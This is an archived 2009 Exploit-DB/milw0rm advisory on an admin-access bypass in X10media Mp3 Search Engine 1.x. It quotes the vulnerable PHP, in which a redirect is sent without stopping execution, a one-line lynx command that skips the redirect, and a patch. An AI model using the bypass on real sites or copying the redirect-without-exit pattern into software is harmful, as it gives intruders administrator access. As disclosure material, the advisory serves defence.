X10media Mp3 Search Engine v1.x Admin Access Vulnerability

vendor:

X10media Mp3 Search Engine

by:

THUNDER

8,8

CVSS

HIGH

Admin Access Vulnerability

287

CWE

Product Name: X10media Mp3 Search Engine

Affected Version From: 1.x

Affected Version To: 1.x

Patch Exists: YES

Related CWE: N/A

CPE: a:x10media:x10_media_mp3_search_engine

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

X10media Mp3 Search Engine v1.x Admin Access Vulnerability

If the user is not an administrator, the code redirects it to main.php. This can be exploited by disabling redirection using lynx and accessing the admin/admin.php page.

Mitigation:

Open admin/admin.php and replace the vulnerable code with code that shows an error 404 if the user is not an administrator.

Source

Exploit-DB raw data:

################# ~THUNDER ################################################################


    ~Product: X10media Mp3 Search Engine v1.x Admin Access Vulnerability
    ~Author : THUNDER <t4h[at]hotmail.fr>
    ~File : admin/admin.php

##### ~Vulnerable Code ############################################################################


/**

 * User not an administrator, redirect to main page

 * automatically.

 */

if(!$session->isAdmin()){

   header("Location: ../main.php");

}

else{

/**

 * Administrator is viewing page, so display all

 * forms.

 */

}
----------------------------------------

if the user is not admin redirect it to main.php, so we can exploit it using lynx by disabling redirection.
 
##### ~Exploit ############################################################################

lynx -noredir http://www.vulnerable.com/admin/admin.php

allow the cookies, and you're in admin panel.


##### ~Solution ############################################################################

Open admin/admin.php
1- find:

/**

 * User not an administrator, redirect to main page

 * automatically.

 */

if(!$session->isAdmin()){

   header("Location: ../main.php");

}

else{

/**

 * Administrator is viewing page, so display all

 * forms.

 */

}



2- Replace it with:

/**

 * User not an administrator, show error 404

 */

if(!$session->isAdmin()){

   die(header("HTTP/1.1 404 Not Found"));

}

###########################################################################################

# milw0rm.com [2009-04-13]